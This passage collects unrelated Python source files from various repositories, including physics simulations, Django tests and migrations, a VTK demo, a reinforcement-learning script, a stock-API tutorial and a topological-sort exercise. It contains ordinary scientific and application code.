time.strftime('%H:%M', time.gmtime(s))) ax.plot(x,y, **kwargs) ax.set_xlim(0, x[-1]) ax.xaxis.set_major_formatter(formatter) ax.set_yticks(np.arange(len(np.unique(labels)))*-1) ax.set_yticklabels(labels) ax.set_xticks(np.arange(0,x[-1],3600)) if xlabel: plt.xlabel('Time after recording start') if ylabel: plt.ylabel('Sleep Stage') if title is not None: plt.title(title) try: warnings.filterwarnings("ignore", message='This figure includes Axes that are not compatible') plt.tight_layout() except Exception: pass # plot REM in RED here for start, end in zip(rem_start, rem_end): height = -labels.index('REM') ax.hlines(height, start*epochlen, end*epochlen, color='r', linewidth=4, zorder=99)
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beam_steering.py
Substancia/FDTD-Huygens-metasurface
0
146482
# import only necessary functions from modules to reduce load from fdtd_venv import fdtd_mod as fdtd from numpy import arange, array, where from matplotlib.pyplot import subplot, plot, xlabel, ylabel, legend, title, suptitle, show, ylim, figure from scipy.optimize import curve_fit from os import path from sys import argv from time import time def fit_func(x, a, b, c): return a*x**2 + b*x + c start_time = time() animate = False run_time = 400 saveStuff = False results = True transmit_detectors = 32 # grid grid = fdtd.Grid(shape=(200, 15.5e-6, 1), grid_spacing=77.5e-9) if saveStuff: grid.save_simulation(argv[1] if len(argv) > 1 else None) # objects # source #grid[15, 99, 0] = fdtd.PointSource(period = 1550e-9 / (3e8), name="source1") grid[15, 100, 0] = fdtd.PointSource(period = 1550e-9 / (3e8), name="source2") # detectors #grid[80:200, 80:120, 0] = fdtd.BlockDetector(name="BlockDetector") #grid[80:200, 100, 0] = fdtd.LineDetector(name="LineDetectorVert") grid[19, 75:125, 0] = fdtd.LineDetector(name="LineDetectorHorIncident") for i in range(transmit_detectors): grid[30+5*i, 75:125, 0] = fdtd.LineDetector(name="LineDetectorHorEmergent_"+str(30+5*i)) # x boundaries grid[0:10, :, :] = fdtd.PML(name="pml_xlow") grid[-10:, :, :] = fdtd.PML(name="pml_xhigh") # y boundaries grid[:, 0:10, :] = fdtd.PML(name="pml_ylow") grid[:, -10:, :] = fdtd.PML(name="pml_yhigh") # Saving grid geometry if saveStuff: with open(path.join("./fdtd_output", grid.folder, "grid.txt"), "w") as f: f.write(str(grid)) wavelength = 3e8/grid.source.frequency wavelengthUnits = wavelength/grid.grid_spacing GD = array([grid.x, grid.y, grid.z]) gridRange = [arange(x/grid.grid_spacing) for x in GD] objectRange = array([[gridRange[0][x.x], gridRange[1][x.y], gridRange[2][x.z]] for x in grid.objects]).T f.write("\n\nGrid details (in wavelength scale):") f.write("\n\tGrid dimensions: ") f.write(str(GD/wavelength)) f.write("\n\tSource dimensions: ") f.write(str(array([grid.source.x[-1] - grid.source.x[0] + 1, grid.source.y[-1] - grid.source.y[0] + 1, grid.source.z[-1] - grid.source.z[0] + 1])/wavelengthUnits)) f.write("\n\tObject dimensions: ") f.write(str([(max(map(max, x)) - min(map(min, x)) + 1)/wavelengthUnits for x in objectRange])) if animate: if run_time > 0: for i in range(run_time): grid.run(total_time=1) if saveStuff: grid.visualize(z=0, animate=True, index=i, save=True, folder=grid.folder) else: grid.visualize(z=0, animate=True) if saveStuff: grid.generate_video(delete_frames=True) grid.save_data() else: if run_time > 0: grid.run(total_time=run_time) if saveStuff: grid.visualize(z=0, show=True, index=0, save=True, folder=grid.folder) grid.save_data() else: grid.visualize(z=0, show=True) if results: phase_profile_incident = [] phase_profile_emergent = [[] for j in range(transmit_detectors)] # number of trasmit side detectors det_vals_incident = array(grid.detectors[0].detector_values()['E'][-grid.sources[0].period:]) det_vals_emergent = [array(grid.detectors[i].detector_values()['E'][-grid.sources[0].period:]) for i in range(1, len(phase_profile_emergent)+1)] for i in range(len(grid.detectors[0].x)): period_phase = grid.sources[0].period - where(det_vals_incident[:, i, 2] == max(det_vals_incident[:, i, 2]))[-1][-1] phase_profile_incident.append(((grid.sources[0].period/4 + period_phase)/grid.sources[0].period)%1) for j in range(len(phase_profile_emergent)): period_phase = grid.sources[0].period - where(det_vals_emergent[j][:, i, 2] == max(det_vals_emergent[j][:, i, 2]))[-1][-1] phase_profile_emergent[j].append(((grid.sources[0].period/4 + period_phase)/grid.sources[0].period)%1) xdata = array([x for x in range(-25, 25)]) #phase_difference = (-array(phase_profile_emergent) + array(phase_profile_incident) + 2*pi)%(2*pi) #popt, _ = curve_fit(fit_func, xdata, phase_difference) figure(num="phase_profile") plot(xdata/grid.sources[0].period, phase_profile_incident, label="Incident phase") for j in range(len(phase_profile_emergent)): plot(xdata/grid.sources[0].period, phase_profile_emergent[j], label="Emergent phase"+str(j)) #plot(xdata/grid.sources[0].period, phase_difference, label="Phase difference") #plot(xdata/grid.sources[0].period, fit_func(xdata, *popt), label="Curve-fit for Phase difference") for j in range(len(phase_profile_emergent)): popt, _ = curve_fit(fit_func, xdata, phase_profile_emergent[j]) plot(xdata/grid.sources[0].period, fit_func(xdata, *popt), label="Curve-fit for Phase in detector"+str(j)) #print(popt) xlabel("x/lambda") ylabel("phase/2pi") legend() #title("Curve-fit Phase difference: %5.6f*x**2 + %5.6f*x + %5.6f" % tuple(popt)) show() figure(num="phase_profile_curve_fit") for j in range(len(phase_profile_emergent)): if j%4 == 0: subplot(2, 4, j/4+1) title("Detectors %1i to %2i" % tuple([j, j+3])) xlabel("x/lambda") ylabel("phase/2pi") ylim(0, 1) popt, _ = curve_fit(fit_func, xdata, phase_profile_emergent[j]) plot(xdata/grid.sources[0].period, fit_func(xdata, *popt), label="Curve-fit for Phase in detector"+str(j)) print(popt) #legend() suptitle("Curve-fiting (Consecutive order of detectors in each plot, blue: 1, orange: 2, green: 3, red: 4)") show() figure(num="phase_bent") plot([x for x in range(30, 30+5*len(phase_profile_emergent), 5)], [detector[len(detector)//2] - detector[0] for detector in phase_profile_emergent], label="Phase profile 'bent'") plot([x for x in range(30, 30+5*len(phase_profile_emergent), 5)], [0 for x in range(len(phase_profile_emergent))], label="Zero line") xlabel("detector position") title("Measure of 'bent' of different phase profiles as difference of phases at mid and at end of each detector") legend() show() end_time = time() print("Runtime:", end_time-start_time)
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Email.py
maste150hhu/Python-Email-Client
1
148272
<gh_stars>1-10 import os from Account import Account import datetime #class Email: # An email consists of sender (send) # recipient (rec), title, text #def __init__(self, send, rec, title, text): # self.send = send # self.rec = rec # self.title = title # self.text = text # this function will send an email to the recipient # while writing its content into his inbox-"table" def send(from_): try: name = input("To: ") path = "Users/" + name + "-inbox" + ".txt" print(path) fh = open(path, 'a') tit = input("Title: ") text = input("Content: ") now = datetime.datetime.now() fh.write(now.strftime("%Y-%m-%d %H:%M") + os.linesep) fh.write(from_) fh.write(name + os.linesep) fh.write(tit + os.linesep) fh.write(text + os.linesep) fh.close() print() print("Your mail was sent to " + name) except FileNotFoundError: print() print("The username you entered does not exist")
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tally_ho/apps/tally/tests/views/data/test_tally_list_view.py
onaio/tally-ho
12
197702
import json from django.test import RequestFactory from tally_ho.apps.tally.views.data import tally_list_view as views from tally_ho.libs.permissions import groups from tally_ho.libs.tests.test_base import create_tally, TestBase class TestTallyListView(TestBase): """ Test tally list class base views. """ def setUp(self): self.factory = RequestFactory() self._create_permission_groups() self._create_and_login_user() self._add_user_to_group(self.user, groups.SUPER_ADMINISTRATOR) def test_tally_list_view(self): """ Test that tally list view template is rendered correctly """ tally = create_tally() tally.users.add(self.user) view = views.TallyListView.as_view() request = self.factory.get('/') request.user = self.user response = view(request) self.assertContains(response, "Tally List") self.assertContains(response, "Id") self.assertContains(response, "Name") self.assertContains(response, "Creation") self.assertContains(response, "Last Modification") self.assertContains(response, "Administration") self.assertContains(response, "Actions") def test_tally_list_data_view(self): """ Test that tally list data view returns correct data """ tally = create_tally() tally.users.add(self.user) view = views.TallyListDataView.as_view() request = self.factory.get('/') request.user = self.user response = view(request) tally_id, tally_name, created_date, modified_formatted_date,\ admin_view_link, edit_link = json.loads( response.content.decode())['data'][0] self.assertEquals( admin_view_link, f'<a href="/super-administrator/{tally.id}/"' ' class ="btn btn-default btn-small">Admin View</a>') self.assertEquals( edit_link, f'<a href="/tally-manager/update-tally/{tally.id}/"' ' class ="btn btn-default btn-small">Edit</a>') self.assertEquals(tally_id, str(tally.id)) self.assertEquals(tally_name, tally.name) self.assertEquals(created_date, str(tally.created_date)) self.assertEquals( modified_formatted_date, tally.modified_date.strftime('%a, %d %b %Y %H:%M:%S %Z')) def test_tally_list_data_view_valid_search_filter(self): """ Test that tally list data view returns the correct data when a valid search filter is applied. """ tally_1 = create_tally(name='example_1_tally') create_tally(name='example_2_tally') view = views.TallyListDataView.as_view() request = self.factory.get('/') request.user = self.user request.GET = request.GET.copy() request.GET['search[value]'] = tally_1.name response = view(request) data = json.loads(response.content.decode())['data'] tally_id, tally_name, created_date, modified_formatted_date,\ admin_view_link, edit_link = data[0] self.assertEquals(1, len(data)) self.assertEquals( admin_view_link, f'<a href="/super-administrator/{tally_1.id}/"' ' class ="btn btn-default btn-small">Admin View</a>') self.assertEquals( edit_link, f'<a href="/tally-manager/update-tally/{tally_1.id}/"' ' class ="btn btn-default btn-small">Edit</a>') self.assertEquals(tally_id, str(tally_1.id)) self.assertEquals(tally_name, tally_1.name) self.assertEquals(created_date, str(tally_1.created_date)) self.assertEquals( modified_formatted_date, tally_1.modified_date.strftime('%a, %d %b %Y %H:%M:%S %Z')) def test_tally_list_data_view_invalid_search_filter(self): """ Test that tally list data view returns no data when an invalid search filter is applied. """ create_tally(name='example_1_tally') create_tally(name='example_2_tally') view = views.TallyListDataView.as_view() request = self.factory.get('/') request.user = self.user request.GET = request.GET.copy() request.GET['search[value]'] = 'Invalid search text' response = view(request) json_data = json.loads(response.content.decode()) self.assertListEqual([], json_data['data']) self.assertEquals(2, json_data['recordsTotal'])
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code/Python/vtk_development/VTK_Example/Widgets/ContourWidget.py
nhyilin/devNotes
0
128844
#!/usr/bin/python import vtk import sys import math # Create the RenderWindow, Renderer and both Actors renderer = vtk.vtkRenderer() renderWindow = vtk.vtkRenderWindow() renderWindow.AddRenderer(renderer) interactor = vtk.vtkRenderWindowInteractor() interactor.SetRenderWindow(renderWindow) renderer.SetBackground(0.1, 0.2, 0.4) renderWindow.SetSize(600, 600) contourRep = vtk.vtkOrientedGlyphContourRepresentation() contourRep.GetLinesProperty().SetColor(1, 0, 0) # set color to red contourWidget = vtk.vtkContourWidget() contourWidget.SetInteractor(interactor) contourWidget.SetRepresentation(contourRep) contourWidget.On() for arg in sys.argv: if "-Shift" == arg: contourWidget.GetEventTranslator().RemoveTranslation( vtk.vtkCommand.LeftButtonPressEvent) contourWidget.GetEventTranslator().SetTranslation( vtk.vtkCommand.LeftButtonPressEvent, vtk.vtkWidgetEvent.Translate) elif "-Scale" == arg: contourWidget.GetEventTranslator().RemoveTranslation( vtk.vtkCommand.LeftButtonPressEvent) contourWidget.GetEventTranslator().SetTranslation( vtk.vtkCommand.LeftButtonPressEvent, vtk.vtkWidgetEvent.Scale) pd = vtk.vtkPolyData() points = vtk.vtkPoints() lines = vtk.vtkCellArray() for i in range(0, 21): angle = 2.0 * math.pi * i / 20.0 points.InsertPoint(i, 0.1 * math.cos(angle), 0.1 * math.sin(angle), 0.0) lines.InsertNextCell(i) pd.SetPoints(points) pd.SetLines(lines) contourWidget.Initialize(pd, 1) contourWidget.Render() renderer.ResetCamera() renderWindow.Render() interactor.Initialize() interactor.Start() contourWidget.Off()
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playground/pets_dubins.py
pecey/mbrl-lib
0
16788
<gh_stars>0 import matplotlib as mpl import matplotlib.pyplot as plt import numpy as np import torch import omegaconf import mbrl.env.continuous_dubins as dubins_env import mbrl.env.reward_fns as reward_fns import mbrl.env.termination_fns as termination_fns import mbrl.models as models import mbrl.planning as planning import mbrl.util.common as common_util import mbrl.util as util def train_callback(_model, _total_calls, _epoch, tr_loss, val_score, _best_val): train_losses.append(tr_loss) val_scores.append(val_score.mean().item()) # this returns val score per ensemble model def plot_graph(_axs, _frame, _text, _trial, _steps_trial, _all_rewards, force_update=False): if not force_update and (_steps_trial % 10 != 0): return _axs.clear() _axs.set_xlim([0, num_trials + .1]) _axs.set_ylim([0, 200]) _axs.set_xlabel("Trial") _axs.set_ylabel("Trial reward") _axs.plot(_all_rewards, 'bs-') _text.set_text(f"Trial {_trial + 1}: {_steps_trial} steps") if __name__ == "__main__": mpl.rcParams.update({"font.size": 16}) device = 'cuda:0' if torch.cuda.is_available() else 'cpu' noisy = False seed = 0 env = dubins_env.ContinuousDubinsEnv(noisy) env.seed(seed) rng = np.random.default_rng(seed=seed) generator = torch.Generator(device=device) generator.manual_seed(seed) obs_shape = env.observation_space.shape act_shape = env.action_space.shape # This functions allows the model to evaluate the true rewards given an observation reward_fn = reward_fns.continuous_dubins # This function allows the model to know if an observation should make the episode end term_fn = termination_fns.continuous_dubins trial_length = 200 num_trials = 10 ensemble_size = 5 # Everything with "???" indicates an option with a missing value. # Our utility functions will fill in these details using the # environment information cfg_dict = { # dynamics model configuration "dynamics_model": { "model": { "_target_": "mbrl.models.GaussianMLP", "device": device, "num_layers": 3, "ensemble_size": ensemble_size, "hid_size": 200, "use_silu": True, "in_size": "???", "out_size": "???", "deterministic": False, "propagation_method": "fixed_model" } }, # options for training the dynamics model "algorithm": { "learned_rewards": False, "target_is_delta": True, "normalize": True, }, # these are experiment specific options "overrides": { "trial_length": trial_length, "num_steps": num_trials * trial_length, "model_batch_size": 32, "validation_ratio": 0.05 } } cfg = omegaconf.OmegaConf.create(cfg_dict) # Create a 1-D dynamics model for this environment dynamics_model = common_util.create_one_dim_tr_model(cfg, obs_shape, act_shape) # Create a gym-like environment to encapsulate the model model_env = models.ModelEnv(env, dynamics_model, term_fn, reward_fn, generator=generator) replay_buffer = common_util.create_replay_buffer(cfg, obs_shape, act_shape, rng=rng) common_util.rollout_agent_trajectories( env, trial_length, # initial exploration steps planning.RandomAgent(env), {}, # keyword arguments to pass to agent.act() replay_buffer=replay_buffer, trial_length=trial_length ) print("# samples stored", replay_buffer.num_stored) agent_cfg = omegaconf.OmegaConf.create({ # this class evaluates many trajectories and picks the best one "_target_": "mbrl.planning.TrajectoryOptimizerAgent", "planning_horizon": 15, "replan_freq": 1, "verbose": False, "action_lb": "???", "action_ub": "???", # this is the optimizer to generate and choose a trajectory "optimizer_cfg": { "_target_": "mbrl.planning.CEMOptimizer", "num_iterations": 5, "elite_ratio": 0.1, "population_size": 500, "alpha": 0.1, "device": device, "lower_bound": "???", "upper_bound": "???", "return_mean_elites": True } }) agent = planning.create_trajectory_optim_agent_for_model( model_env, agent_cfg, num_particles=20 ) train_losses = [] val_scores = [] # Create a trainer for the model model_trainer = models.ModelTrainer(dynamics_model, optim_lr=1e-3, weight_decay=5e-5) # Create visualization objects fig, axs = plt.subplots(1, 1, figsize=(14, 3.75)) ax_text = axs.text(300, 50, "") # Main PETS loop all_rewards = [0] for trial in range(num_trials): obs = env.reset() agent.reset() done = False total_reward = 0.0 steps_trial = 0 while not done: # --------------- Model Training ----------------- if steps_trial == 0: dynamics_model.update_normalizer(replay_buffer.get_all()) # update normalizer stats dataset_train, dataset_val = replay_buffer.get_iterators( batch_size=cfg.overrides.model_batch_size, val_ratio=cfg.overrides.validation_ratio, train_ensemble=True, ensemble_size=ensemble_size, shuffle_each_epoch=True, bootstrap_permutes=False, # build bootstrap dataset using sampling with replacement ) model_trainer.train( dataset_train, dataset_val=dataset_val, num_epochs=50, patience=50, callback=train_callback) # --- Doing env step using the agent and adding to model dataset --- next_obs, reward, done, _ = common_util.step_env_and_add_to_buffer(env, obs, agent, {}, replay_buffer) obs = next_obs total_reward += reward steps_trial += 1 if steps_trial == trial_length: break all_rewards.append(total_reward) env.save_trajectory(f"dubins_{trial}.png") print(all_rewards) plot_graph(axs, None, ax_text, trial, steps_trial, all_rewards, force_update=True) # fig.savefig("dubins.png")
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app/migrations/0001_initial.py
Jamesnduge/Hood-Watch
0
138362
<filename>app/migrations/0001_initial.py # -*- coding: utf-8 -*- # Generated by Django 1.11.17 on 2019-03-25 12:12 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion import pyuploadcare.dj.models import tinymce.models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='CustomUser', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')), ('email', models.EmailField(blank=True, max_length=255, unique=True)), ('username', models.CharField(blank=True, max_length=255, null=True, unique=True)), ('password', models.CharField(max_length=255)), ], options={ 'verbose_name': 'user', 'verbose_name_plural': 'users', }, ), migrations.CreateModel( name='Authorities', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('authority_name', models.CharField(max_length=100)), ('image', models.ImageField(null=True, upload_to='images/')), ('email', models.EmailField(max_length=254)), ('contact', models.IntegerField()), ('authority_email', models.CharField(max_length=200, null=True)), ], ), migrations.CreateModel( name='Business', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('business_name', models.CharField(max_length=30, null=True)), ('image', models.ImageField(null=True, upload_to='images/')), ('description', tinymce.models.HTMLField()), ('contact', models.IntegerField()), ('business_email', models.CharField(max_length=200, null=True)), ], ), migrations.CreateModel( name='Health', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('health_name', models.CharField(max_length=100)), ('image', models.ImageField(null=True, upload_to='images/')), ('email', models.EmailField(max_length=254)), ('contact', models.IntegerField()), ('health_email', models.CharField(max_length=200, null=True)), ], ), migrations.CreateModel( name='Healthservices', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('healthservices', models.CharField(max_length=100)), ], ), migrations.CreateModel( name='Neighbourhood', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=100)), ('image', models.ImageField(null=True, upload_to='hoods/')), ('neighbourhood_count', models.IntegerField(blank=True, default=0, null=True)), ], ), migrations.CreateModel( name='News', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100)), ('notification', tinymce.models.HTMLField()), ('pub_date', models.DateTimeField(auto_now_add=True)), ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ('neighbourhood_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood')), ], ), migrations.CreateModel( name='Profile', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('prof_pic', pyuploadcare.dj.models.ImageField(blank=True)), ('bio', tinymce.models.HTMLField()), ('neighbourhood', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood')), ], ), migrations.AddField( model_name='health', name='healthservices', field=models.ManyToManyField(to='app.Healthservices'), ), migrations.AddField( model_name='health', name='neighbourhood_id', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood'), ), migrations.AddField( model_name='business', name='neighbourhood_id', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='neighbourhoodbusiness', to='app.Neighbourhood'), ), migrations.AddField( model_name='business', name='owner', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='business', to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='authorities', name='neighbourhood_id', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood'), ), ]
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tmapi/models/name.py
ajenhl/django-tmapi
2
44385
# Copyright 2011 <NAME> (<EMAIL>) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from django.db import models from tmapi.constants import XSD_ANY_URI, XSD_STRING from tmapi.exceptions import ModelConstraintException from construct_fields import ConstructFields from locator import Locator from reifiable import Reifiable from scoped import Scoped from typed import Typed from variant import Variant class Name (ConstructFields, Reifiable, Scoped, Typed): """Represents a topic name item.""" topic = models.ForeignKey('Topic', related_name='names') value = models.TextField() class Meta: app_label = 'tmapi' def create_variant (self, value, scope, datatype=None): """Creates a `Variant` of this topic name with the specified string `value` and `scope`. If `datatype` is None, the newly created `Variant` will have the datatype xsd:string. The newly created `Variant` will contain all themes from the parent name and the themes specified in `scope`. :param value: the string value or locator which represents an IRI :type value: string or `Locator` :param scope: list of themes :type scope: list of `Topic`s :rtype: `Variant` """ if value is None: raise ModelConstraintException(self, 'The value may not be None') if not scope: raise ModelConstraintException(self, 'The scope may not be None') if type(scope) not in (type([]), type(())): scope = [scope] if scope == list(self.get_scope()): raise ModelConstraintException( self, 'The variant would be in the same scope as the parent') if datatype is None: if isinstance(value, Locator): datatype = Locator(XSD_ANY_URI) elif isinstance(value, str): datatype = Locator(XSD_STRING) if isinstance(value, Locator): value = value.to_external_form() variant = Variant(name=self, datatype=datatype.to_external_form(), value=value, topic_map=self.topic_map) variant.save() for theme in scope: variant.scope.add(theme) return variant def get_parent (self, proxy=None): """Returns the `Topic` to which this name belongs. :param proxy: Django proxy model class :type proxy: class :rtype: `Topic` or `proxy` """ parent = self.topic if proxy is not None: parent = proxy.objects.get(pk=parent.id) return parent def get_value (self): """Returns the value of this name.""" return self.value def get_variants (self): """Returns the variants defined for this name.""" return self.variants.all() def set_value (self, value): """Sets the value of this name. The previous value is overridden.""" if value is None: raise ModelConstraintException(self, 'The value may not be None') self.value = value self.save() def __unicode__ (self): return self.value
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migrations/versions/2286baefdbc2_.py
FlyingBird95/covid-19
0
154466
"""empty message Revision ID: 2286baefdbc2 Revises: ca9ba145768e Create Date: 2020-03-26 21:47:03.150005 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '<KEY>' down_revision = 'ca9ba145768e' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.add_column('locations', sa.Column('country_code', sa.String(length=10), nullable=False)) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_constraint(None, 'locations', type_='unique') op.drop_column('locations', 'country_code') # ### end Alembic commands ###
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tutorial/43.py
mssung94/daishin-trading-system
2
5001
# 대신증권 API # 데이터 요청 방법 2가지 BlockRequest 와 Request 방식 비교 예제 # 플러스 API 에서 데이터를 요청하는 방법은 크게 2가지가 있습니다 # # BlockRequest 방식 - 가장 간단하게 데이터 요청해서 수신 가능 # Request 호출 후 Received 이벤트로 수신 받기 # # 아래는 위 2가지를 비교할 수 있도록 만든 예제 코드입니다 # 일반적인 데이터 요청에는 BlockRequest 방식이 가장 간단합니다 # 다만, BlockRequest 함수 내에서도 동일 하게 메시지펌핑을 하고 있어 해당 통신이 마치기 전에 실시간 시세를 수신 받거나 # 다른 이벤트에 의해 재귀 호출 되는 문제가 있을 경우 함수 호출이 실패할 수 있습니다 # 복잡한 실시간 시세 수신 중에 통신을 해야 하는 경우에는 Request 방식을 이용해야 합니다. import pythoncom from PyQt5.QtWidgets import * import win32com.client import win32event g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent = win32event.CreateEvent(None, 0, 0, None) class CpEvent: def set_params(self, client, name, caller): self.client = client # CP 실시간 통신 object self.name = name # 서비스가 다른 이벤트를 구분하기 위한 이름 self.caller = caller # callback 을 위해 보관 def OnReceived(self): # 실시간 처리 - 현재가 주문 체결 if self.name == 'stockmst': print('recieved') win32event.SetEvent(StopEvent) return class CpCurReply: def __init__(self, objEvent): self.name = "stockmst" self.obj = objEvent def Subscribe(self): handler = win32com.client.WithEvents(self.obj, CpEvent) handler.set_params(self.obj, self.name, None) def MessagePump(timeout): waitables = [StopEvent] while 1: rc = win32event.MsgWaitForMultipleObjects( waitables, 0, # Wait for all = false, so it waits for anyone timeout, # (or win32event.INFINITE) win32event.QS_ALLEVENTS) # Accepts all input if rc == win32event.WAIT_OBJECT_0: # Our first event listed, the StopEvent, was triggered, so we must exit print('stop event') break elif rc == win32event.WAIT_OBJECT_0 + len(waitables): # A windows message is waiting - take care of it. (Don't ask me # why a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0...!). # This message-serving MUST be done for COM, DDE, and other # Windowsy things to work properly! print('pump') if pythoncom.PumpWaitingMessages(): break # we received a wm_quit message elif rc == win32event.WAIT_TIMEOUT: print('timeout') return pass else: print('exception') raise RuntimeError("unexpected win32wait return value") code = 'A005930' ############################################################## # 1. BlockRequest print('#####################################') objStockMst = win32com.client.Dispatch("DsCbo1.StockMst") objStockMst.SetInputValue(0, code) objStockMst.BlockRequest() print('BlockRequest 로 수신 받은 데이터') item = {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11) # 종가 item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비 print(item) print('') ############################################################## # 2. Request ==> 메시지 펌프 ==> OnReceived 이벤트 수신 print('#####################################') objReply = CpCurReply(objStockMst) objReply.Subscribe() code = 'A005930' objStockMst.SetInputValue(0, code) objStockMst.Request() MessagePump(10000) item = {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11) # 종가 item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비 print(item)
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tests/__init__.py
cmsteffen-code/steffentools
0
191245
<reponame>cmsteffen-code/steffentools<gh_stars>0 """SteffenTools Tests Module."""
[ 1, 529, 276, 1112, 420, 29958, 4912, 1655, 15794, 29899, 401, 29914, 1655, 600, 296, 8789, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 15945, 29908, 7789, 15794, 24183, 4321, 29879, 15591, 1213, 15945, 13, 2 ]
dsa/patterns/topological_sort.py/reconstructing_a_sequence.py
bksahu/dsa
0
196566
""" Given a sequence originalSeq and an array of sequences, write a method to find if originalSeq can be uniquely reconstructed from the array of sequences. Unique reconstruction means that we need to find if originalSeq is the only sequence such that all sequences in the array are subsequences of it. Example 1: Input: originalSeq: [1, 2, 3, 4], seqs: [[1, 2], [2, 3], [3, 4]] Output: true Explanation: The sequences [1, 2], [2, 3], and [3, 4] can uniquely reconstruct [1, 2, 3, 4], in other words, all the given sequences uniquely define the order of numbers in the 'originalSeq'. Example 2: Input: originalSeq: [1, 2, 3, 4], seqs: [[1, 2], [2, 3], [2, 4]] Output: false Explanation: The sequences [1, 2], [2, 3], and [2, 4] cannot uniquely reconstruct [1, 2, 3, 4]. There are two possible sequences we can construct from the given sequences: 1) [1, 2, 3, 4] 2) [1, 2, 4, 3] Example 3: Input: originalSeq: [3, 1, 4, 2, 5], seqs: [[3, 1, 5], [1, 4, 2, 5]] Output: true Explanation: The sequences [3, 1, 5] and [1, 4, 2, 5] can uniquely reconstruct [3, 1, 4, 2, 5]. """ from collections import deque def can_construct(originalSeq, sequences): sortedOrder = [] if len(originalSeq) <= 0: return sortedOrder inDegree = {i:0 for i in range(1, len(originalSeq)+1)} graph = {i:[] for i in range(1, len(originalSeq)+1)} for seq in sequences: for i in range(len(seq)-1): parent, child = seq[i], seq[i+1] if parent != child: graph[parent] += child, inDegree[child] += 1 # if we don't have ordering rules for all numbers if len(originalSeq) != len(inDegree): return False sources = deque([v for v, d in inDegree.items() if d == 0]) while sources: # if there are more than 1 source, it's not more unique if len(sources) > 1: return False # if next number is different from the original sequence if originalSeq[len(sortedOrder)] != sources[0]: return False vertex = sources.popleft() sortedOrder.append(vertex) for child in graph[vertex]: inDegree[child] -= 1 if inDegree[child] == 0: sources.append(child) return len(sortedOrder) == len(originalSeq) # no unqiue way if __name__ == "__main__": print("Can construct: " + str(can_construct([1, 2, 3, 4], [[1, 2], [2, 3], [3, 4]]))) print("Can construct: " + str(can_construct([1, 2, 3, 4], [[1, 2], [2, 3], [2, 4]]))) print("Can construct: " + str(can_construct([3, 1, 4, 2, 5], [[3, 1, 5], [1, 4, 2, 5]])))
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geotraf.py
hokru/geotrafo
0
175585
#!/usr/bin/python import sys import numpy as np from math import sqrt,cos,sin,acos,radians import argparse """ rotation around arbitrary torsional angles ToDo: - PDB files: - read - recognize backbone angles by name from PDB files - translation """ nat=0 elem = [] xyz = [] SYM=[] # matrix to do symmetry operations parser = argparse.ArgumentParser(description="rotation (soon: & translation) of molecular coordinates",epilog="grab a copy @ https://github.com/hokru/geotrafo",usage='%(prog)s [options] <coordinate file>') parser.add_argument("-axis", help="specify two atom numbers for axis of rotation/translation.",type=int,nargs=2,metavar=("atom1","atom2"),default=(0,1)) parser.add_argument("molecule", help="molecular coordinate file (xyz format)",type=str,metavar="<coordinate file>") parser.add_argument("-rmol", help="rotate whole molecule (around z-axis/origin)", action="store_true") parser.add_argument("-rot", help="fragment rotation around given axis/bond", action="store_true") parser.add_argument("-bond", help="fragment translation along given axis/bond", action="store_true") parser.add_argument("-a","-angle", help="angle of rotation in degree",type=float,metavar="float",default=5.0) parser.add_argument("-l","-length", help="length of translation in angstrom",type=float,metavar="float",default=0.1) parser.add_argument("--debug", help="print additional output", action="store_true") args = parser.parse_args() print 'file : ',args.molecule print 'input axis: : ',args.axis[0],args.axis[1] print 'fragment rotation : ', args.rot print 'molecule rotation : ', args.rmol if args.rot or args.rmol: print ' angle [degree] : ', args.a print 'translation : ', args.bond if args.bond: print ' length [A] : ', args.l sys.exit("translation not yet implemented! Sry... ") if args.debug: print "debugging mode turned on" #-------------------------------------- # read xmol-type file def readxmol(ifile,elem,xyz): """ read xmol file """ lines = ifile.readlines() nat = int(lines[0]) title = lines[1] for l in lines[2:]: type, x, y, z = l.split() 